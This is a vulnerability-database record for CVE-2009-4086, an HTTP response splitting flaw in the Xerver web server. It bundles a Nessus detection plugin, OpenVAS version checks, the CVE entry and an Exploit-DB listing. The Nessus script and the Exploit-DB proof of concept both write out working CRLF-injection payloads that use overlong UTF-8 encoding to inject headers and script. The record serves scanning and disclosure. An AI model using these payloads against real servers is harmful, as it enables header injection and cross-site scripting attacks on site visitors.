ID XERVER_HTTP_RESPONSE_SPLITTING.NASL Type nessus Reporter This script is Copyright (C) 2009-2018 Tenable Network Security, Inc. Modified 2021-02-02T00:00:00
Description
The version of Xerver running on the remote host has an HTTP response
splitting vulnerability due to its failure to sanitize specially
encoded carriage return and newline characters. A remote attacker
could exploit this by tricking a user into requesting a maliciously
crafted URL, resulting in the injection of HTTP headers, HTML, or
script code.
#
# (C) Tenable Network Security, Inc.
#
include("compat.inc");
if (description)
{
script_id(42896);
script_version("1.11");
script_cvs_date("Date: 2018/08/07 16:46:51");
script_cve_id("CVE-2009-4086");
script_bugtraq_id(37064);
script_xref(name:"Secunia", value:"36681");
script_name(english:"Xerver HTTP Response Splitting");
script_summary(english:"Attempts a XSS attack via HTTP response splitting");
script_set_attribute(attribute:"synopsis", value:"The remote web server has an HTTP response splitting vulnerability.");
script_set_attribute(
attribute:"description",
value:
"The version of Xerver running on the remote host has an HTTP response
splitting vulnerability due to its failure to sanitize specially
encoded carriage return and newline characters. A remote attacker
could exploit this by tricking a user into requesting a maliciously
crafted URL, resulting in the injection of HTTP headers, HTML, or
script code."
);
script_set_attribute(attribute:"see_also", value:"http://www.exploit-db.com/exploits/10170");
script_set_attribute(attribute:"solution", value:"There is no known solution at this time.");
script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N");
script_set_cvss_temporal_vector("CVSS2#E:POC/RL:U/RC:C");
script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
script_set_attribute(attribute:"exploit_available", value:"true");
script_cwe_id(20);
script_set_attribute(attribute:"vuln_publication_date", value:"2009/11/18");
script_set_attribute(attribute:"plugin_publication_date", value:"2009/11/25");
script_set_attribute(attribute:"plugin_type", value:"remote");
script_end_attributes();
script_category(ACT_ATTACK);
script_family(english:"Web Servers");
script_copyright(english:"This script is Copyright (C) 2009-2018 Tenable Network Security, Inc.");
script_require_ports("Services/www", 80);
script_dependencies("http_version.nasl");
exit(0);
}
include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("url_func.inc");
include("webapp_func.inc");
port = get_http_port(default:80);
if (report_paranoia < 2)
{
banner = get_http_banner(port:port);
if (!isnull(banner) && 'Xerver' >!< banner)
exit(0, 'The web server on port '+port+' does not appear to be Xerver.');
}
crlf = '%C0%8D%C0%8A';
hdr_name = 'X-' + str_replace(string:SCRIPT_NAME, find:'.', replace:'-');
time = unixtime();
xss = "<script>alert('" + SCRIPT_NAME + '-' + unixtime() + "')</script>";
# Attempt to inject a header and some data
req =
'/' + crlf +
'HTTP/1.1 200 OK' + crlf +
'Content-Length: ' + strlen(xss) + crlf +
'Content-Type: text/html' + crlf +
hdr_name + ': ' + time + crlf +
crlf +
xss
;
unreserved = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_.!~*()-]%/";
url = urlencode(str:req, unreserved:unreserved);
res = http_send_recv3(method:"GET", item:url, port:port, fetch404:TRUE, exit_on_fail: 1);
headers = parse_http_headers(status_line:res[0], headers:res[1]);
if (isnull(headers)) exit(1, 'Error parsing HTTP headers on port '+port+'.');
# Extract the HTTP header we attempted to inject
injected_hdr = headers[tolower(hdr_name)];
if (isnull(injected_hdr))
exit(0, 'The web server on port '+port+' did not respond with the header the plugin tried to inject.');
pat = str_replace(string:xss, find:"(", replace:"\(");
pat = str_replace(string:pat, find:")", replace:"\)");
# Check if we were able to successfully inject a header _and_ some script code
if (injected_hdr == time && ereg(string:res[2], pattern:'^' + pat))
{
set_kb_item(name: 'www/'+port+'/XSS', value: TRUE);
if (report_verbosity > 0)
{
report = get_vuln_report(items:url, port:port);
security_warning(port:port, extra:report);
}
else security_warning(port);
}
else exit(0, 'The web server on port ' + port + ' is not affected.');
{"id": "XERVER_HTTP_RESPONSE_SPLITTING.NASL", "bulletinFamily": "scanner", "title": "Xerver HTTP Response Splitting", "description": "The version of Xerver running on the remote host has an HTTP response\nsplitting vulnerability due to its failure to sanitize specially\nencoded carriage return and newline characters. A remote attacker\ncould exploit this by tricking a user into requesting a maliciously\ncrafted URL, resulting in the injection of HTTP headers, HTML, or\nscript code.", "published": "2009-11-25T00:00:00", "modified": "2021-02-02T00:00:00", "cvss": {"score": 4.3, "vector": "AV:N/AC:M/Au:N/C:N/I:P/A:N"}, "href": "https://www.tenable.com/plugins/nessus/42896", "reporter": "This script is Copyright (C) 2009-2018 Tenable Network Security, Inc.", "references": ["http://www.exploit-db.com/exploits/10170"], "cvelist": ["CVE-2009-4086"], "type": "nessus", "lastseen": "2021-02-01T07:40:23", "edition": 23, "viewCount": 7, "enchantments": {"dependencies": {"references": [{"type": "cve", "idList": ["CVE-2009-4086"]}, {"type": "openvas", "idList": ["OPENVAS:1361412562310100355", "OPENVAS:100355"]}, {"type": "exploitdb", "idList": ["EDB-ID:10170"]}], "modified": "2021-02-01T07:40:23", "rev": 2}, "score": {"value": 5.8, "vector": "NONE", "modified": "2021-02-01T07:40:23", "rev": 2}, "vulnersScore": 5.8}, "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n\n\ninclude(\"compat.inc\");\n\n\nif (description)\n{\n script_id(42896);\n script_version(\"1.11\");\n script_cvs_date(\"Date: 2018/08/07 16:46:51\");\n\n script_cve_id(\"CVE-2009-4086\");\n script_bugtraq_id(37064);\n script_xref(name:\"Secunia\", value:\"36681\");\n\n script_name(english:\"Xerver HTTP Response Splitting\");\n script_summary(english:\"Attempts a XSS attack via HTTP response splitting\");\n\n script_set_attribute(attribute:\"synopsis\", value:\"The remote web server has an HTTP response splitting vulnerability.\");\n script_set_attribute(\n attribute:\"description\",\n value:\n\"The version of Xerver running on the remote host has an HTTP response\nsplitting vulnerability due to its failure to sanitize specially\nencoded carriage return and newline characters. A remote attacker\ncould exploit this by tricking a user into requesting a maliciously\ncrafted URL, resulting in the injection of HTTP headers, HTML, or\nscript code.\"\n );\n script_set_attribute(attribute:\"see_also\", value:\"http://www.exploit-db.com/exploits/10170\");\n script_set_attribute(attribute:\"solution\", value:\"There is no known solution at this time.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:M/Au:N/C:N/I:P/A:N\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:U/RC:C\");\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_cwe_id(20);\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2009/11/18\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2009/11/25\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"remote\");\n script_end_attributes();\n\n script_category(ACT_ATTACK);\n script_family(english:\"Web Servers\");\n\n script_copyright(english:\"This script is Copyright (C) 2009-2018 Tenable Network Security, Inc.\");\n\n script_require_ports(\"Services/www\", 80);\n script_dependencies(\"http_version.nasl\");\n exit(0);\n}\n\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"misc_func.inc\");\ninclude(\"http.inc\");\ninclude(\"url_func.inc\");\ninclude(\"webapp_func.inc\");\n\n\nport = get_http_port(default:80);\n\nif (report_paranoia < 2)\n{\n banner = get_http_banner(port:port);\n if (!isnull(banner) && 'Xerver' >!< banner)\n exit(0, 'The web server on port '+port+' does not appear to be Xerver.');\n}\n\ncrlf = '%C0%8D%C0%8A';\nhdr_name = 'X-' + str_replace(string:SCRIPT_NAME, find:'.', replace:'-');\ntime = unixtime();\nxss = \"<script>alert('\" + SCRIPT_NAME + '-' + unixtime() + \"')</script>\";\n\n# Attempt to inject a header and some data\nreq =\n '/' + crlf +\n 'HTTP/1.1 200 OK' + crlf +\n 'Content-Length: ' + strlen(xss) + crlf +\n 'Content-Type: text/html' + crlf +\n hdr_name + ': ' + time + crlf +\n crlf +\n xss\n;\n\nunreserved = \"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_.!~*()-]%/\";\nurl = urlencode(str:req, unreserved:unreserved);\n\nres = http_send_recv3(method:\"GET\", item:url, port:port, fetch404:TRUE, exit_on_fail: 1);\n\nheaders = parse_http_headers(status_line:res[0], headers:res[1]);\nif (isnull(headers)) exit(1, 'Error parsing HTTP headers on port '+port+'.');\n\n# Extract the HTTP header we attempted to inject\ninjected_hdr = headers[tolower(hdr_name)];\nif (isnull(injected_hdr))\n exit(0, 'The web server on port '+port+' did not respond with the header the plugin tried to inject.');\n\npat = str_replace(string:xss, find:\"(\", replace:\"\\(\");\npat = str_replace(string:pat, find:\")\", replace:\"\\)\");\n\n# Check if we were able to successfully inject a header _and_ some script code\nif (injected_hdr == time && ereg(string:res[2], pattern:'^' + pat))\n{\n set_kb_item(name: 'www/'+port+'/XSS', value: TRUE);\n\n if (report_verbosity > 0)\n {\n report = get_vuln_report(items:url, port:port);\n security_warning(port:port, extra:report);\n }\n else security_warning(port);\n}\nelse exit(0, 'The web server on port ' + port + ' is not affected.');\n\n", "naslFamily": "Web Servers", "pluginID": "42896", "cpe": [], "scheme": null}
{"cve": [{"lastseen": "2021-02-02T05:40:07", "description": "CRLF injection vulnerability in Xerver HTTP Server 4.31 and 4.32 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via certain byte sequences at the end of a URL. NOTE: some of these details are obtained from third party information.", "edition": 4, "cvss3": {}, "published": "2009-11-29T13:07:00", "title": "CVE-2009-4086", "type": "cve", "cwe": ["CWE-20"], "bulletinFamily": "NVD", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "NONE", "availabilityImpact": "NONE", "integrityImpact": "PARTIAL", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:N/I:P/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "obtainUserPrivilege": false}, "cvelist": ["CVE-2009-4086"], "modified": "2017-08-17T01:31:00", "cpe": ["cpe:/a:javascript:xerver_http_server:4.31", "cpe:/a:javascript:xerver_http_server:4.32"], "id": "CVE-2009-4086", "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2009-4086", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:P/A:N"}, "cpe23": ["cpe:2.3:a:javascript:xerver_http_server:4.32:*:*:*:*:*:*:*", "cpe:2.3:a:javascript:xerver_http_server:4.31:*:*:*:*:*:*:*"]}], "openvas": [{"lastseen": "2020-05-12T17:33:22", "bulletinFamily": "scanner", "cvelist": ["CVE-2009-4086"], "description": "Xerver is prone to an HTTP response-splitting vulnerability because it\n fails to sufficiently sanitize user-supplied data.", "modified": "2020-05-08T00:00:00", "published": "2009-11-20T00:00:00", "id": "OPENVAS:1361412562310100355", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310100355", "type": "openvas", "title": "Xerver HTTP Response Splitting Vulnerability", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# Xerver HTTP Response Splitting Vulnerability\n#\n# Authors:\n# Michael Meyer\n#\n# Copyright:\n# Copyright (c) 2009 Greenbone Networks GmbH\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif (description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.100355\");\n script_version(\"2020-05-08T08:34:44+0000\");\n script_tag(name:\"last_modification\", value:\"2020-05-08 08:34:44 +0000 (Fri, 08 May 2020)\");\n script_tag(name:\"creation_date\", value:\"2009-11-20 12:35:38 +0100 (Fri, 20 Nov 2009)\");\n script_cve_id(\"CVE-2009-4086\");\n script_bugtraq_id(37064);\n script_tag(name:\"cvss_base\", value:\"5.0\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:N/I:P/A:N\");\n\n script_name(\"Xerver HTTP Response Splitting Vulnerability\");\n\n script_xref(name:\"URL\", value:\"http://www.securityfocus.com/bid/37064\");\n script_xref(name:\"URL\", value:\"http://www.javascript.nu/xerver/\");\n\n script_tag(name:\"qod_type\", value:\"remote_banner\");\n script_category(ACT_GATHER_INFO);\n script_family(\"Web Servers\");\n script_copyright(\"Copyright (C) 2009 Greenbone Networks GmbH\");\n script_dependencies(\"gb_xerver_http_server_detect.nasl\");\n script_require_ports(\"Services/www\", 80);\n script_mandatory_keys(\"xerver/detected\");\n\n script_tag(name:\"summary\", value:\"Xerver is prone to an HTTP response-splitting vulnerability because it\n fails to sufficiently sanitize user-supplied data.\");\n\n script_tag(name:\"impact\", value:\"Attackers can leverage this issue to influence or misrepresent how web\n content is served, cached, or interpreted. This could aid in various\n attacks that try to entice client users into a false sense of trust.\");\n\n script_tag(name:\"affected\", value:\"The issue affects Xerver 4.31 and 4.32, other versions may also be affected.\");\n\n script_tag(name:\"solution_type\", value:\"WillNotFix\");\n\n script_tag(name:\"solution\", value:\"No known solution was made available for at least one year\n since the disclosure of this vulnerability. Likely none will be provided anymore.\n General solution options are to upgrade to a newer release, disable respective features,\n remove the product or replace the product by another one.\");\n\n exit(0);\n}\n\ninclude(\"http_func.inc\");\ninclude(\"version_func.inc\");\n\nport = http_get_port(default:80);\nif(!vers = get_kb_item(string(\"www/\", port, \"/Xerver\")))exit(0);\nif(!isnull(vers) && vers >!< \"unknown\") {\n if(version_is_equal(version: vers, test_version: \"4.31\") ||\n version_is_equal(version: vers, test_version: \"4.32\")) {\n security_message(port:port);\n exit(0);\n }\n}\n\nexit(0);\n", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:N/I:P/A:N"}}, {"lastseen": "2017-07-02T21:14:09", "bulletinFamily": "scanner", "cvelist": ["CVE-2009-4086"], "description": "Xerver is prone to an HTTP response-splitting vulnerability because it\nfails to sufficiently sanitize user-supplied data.\n\nAttackers can leverage this issue to influence or misrepresent how web\ncontent is served, cached, or interpreted. This could aid in various\nattacks that try to entice client users into a false sense of trust.\n\nThe issue affects Xerver 4.31 and 4.32; other versions may also\nbe affected.", "modified": "2017-02-08T00:00:00", "published": "2009-11-20T00:00:00", "id": "OPENVAS:100355", "href": "http://plugins.openvas.org/nasl.php?oid=100355", "type": "openvas", "title": "Xerver HTTP Response Splitting Vulnerability", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n# $Id: xerver_37064.nasl 5231 2017-02-08 11:52:34Z teissa $\n#\n# Xerver HTTP Response Splitting Vulnerability\n#\n# Authors:\n# Michael Meyer\n#\n# Copyright:\n# Copyright (c) 2009 Greenbone Networks GmbH\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\ntag_summary = \"Xerver is prone to an HTTP response-splitting vulnerability because it\nfails to sufficiently sanitize user-supplied data.\n\nAttackers can leverage this issue to influence or misrepresent how web\ncontent is served, cached, or interpreted. This could aid in various\nattacks that try to entice client users into a false sense of trust.\n\nThe issue affects Xerver 4.31 and 4.32; other versions may also\nbe affected.\";\n\n\nif (description)\n{\n script_id(100355);\n script_version(\"$Revision: 5231 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2017-02-08 12:52:34 +0100 (Wed, 08 Feb 2017) $\");\n script_tag(name:\"creation_date\", value:\"2009-11-20 12:35:38 +0100 (Fri, 20 Nov 2009)\");\n script_cve_id(\"CVE-2009-4086\");\n script_bugtraq_id(37064);\n script_tag(name:\"cvss_base\", value:\"5.0\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:N/I:P/A:N\");\n\n script_name(\"Xerver HTTP Response Splitting Vulnerability\");\n\n script_xref(name : \"URL\" , value : \"http://www.securityfocus.com/bid/37064\");\n script_xref(name : \"URL\" , value : \"http://www.javascript.nu/xerver/\");\n\n script_tag(name:\"qod_type\", value:\"remote_banner\");\n script_category(ACT_GATHER_INFO);\n script_family(\"Web Servers\");\n script_copyright(\"This script is Copyright (C) 2009 Greenbone Networks GmbH\");\n script_dependencies(\"gb_xerver_http_server_detect.nasl\");\n script_require_ports(\"Services/www\", 80);\n script_tag(name : \"summary\" , value : tag_summary);\n exit(0);\n}\n\n \ninclude(\"http_func.inc\");\ninclude(\"version_func.inc\");\n\nport = get_http_port(default:80);\nif(!get_port_state(port))exit(0);\n\nif(!vers = get_kb_item(string(\"www/\", port, \"/Xerver\")))exit(0);\n\nif(!isnull(vers) && vers >!< \"unknown\") {\n\n if(version_is_equal(version: vers, test_version: \"4.31\") || \n version_is_equal(version: vers, test_version: \"4.32\")) {\n security_message(port:port);\n exit(0);\n }\n\n}\n\nexit(0);\n", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:PARTIAL/A:NONE/"}}], "exploitdb": [{"lastseen": "2016-02-01T11:58:57", "description": "Xerver 4.31, 4.32 HTTP Response Splitting. CVE-2009-4086. Webapps exploits for multiple platform", "published": "2009-11-18T00:00:00", "type": "exploitdb", "title": "Xerver 4.31 / 4.32 - HTTP Response Splitting", "bulletinFamily": "exploit", "cvelist": ["CVE-2009-4086"], "modified": "2009-11-18T00:00:00", "id": "EDB-ID:10170", "href": "https://www.exploit-db.com/exploits/10170/", "sourceData": "Xerver 4.31, 4.32 HTTP Response Splitting\r\n\r\nDiscovered: 04-10-08\r\nBy: SecureState R&D Team - sasquatch\r\nVendor Notified: 04-11-08\r\nVendor Response: 04-13-08\r\nNew version also vulnerable: 10-07-09 Tested (Win32 v4.32)\r\nVendor Notified: 10-07-09\r\nVendor Response: NONE\r\nPublished: 11-18-09\r\n\r\nProof of Concept:\r\n\r\n/test.htm%3BHTTP%C0%AF1.0%20200%20OK%C0%8D%C0%8AContent-Length%3A%2070%C0%8D%C0%8AContent-Type%3Atext%C0%AFhtml%C0%8D%C0%8A%C0%8D%C0%8A%3Chtml%3E%3Cbody%3E%3Cimg%20src%3D%22http%3A//www.website.com/test.gif%22%3E%3C/body%3E%3C/html%3E%8D%C0%8A%C0%8D%C0%8A", "cvss": {"score": 5.0, "vector": "AV:NETWORK/AC:LOW/Au:NONE/C:NONE/I:PARTIAL/A:NONE/"}, "sourceHref": "https://www.exploit-db.com/download/10170/"}]}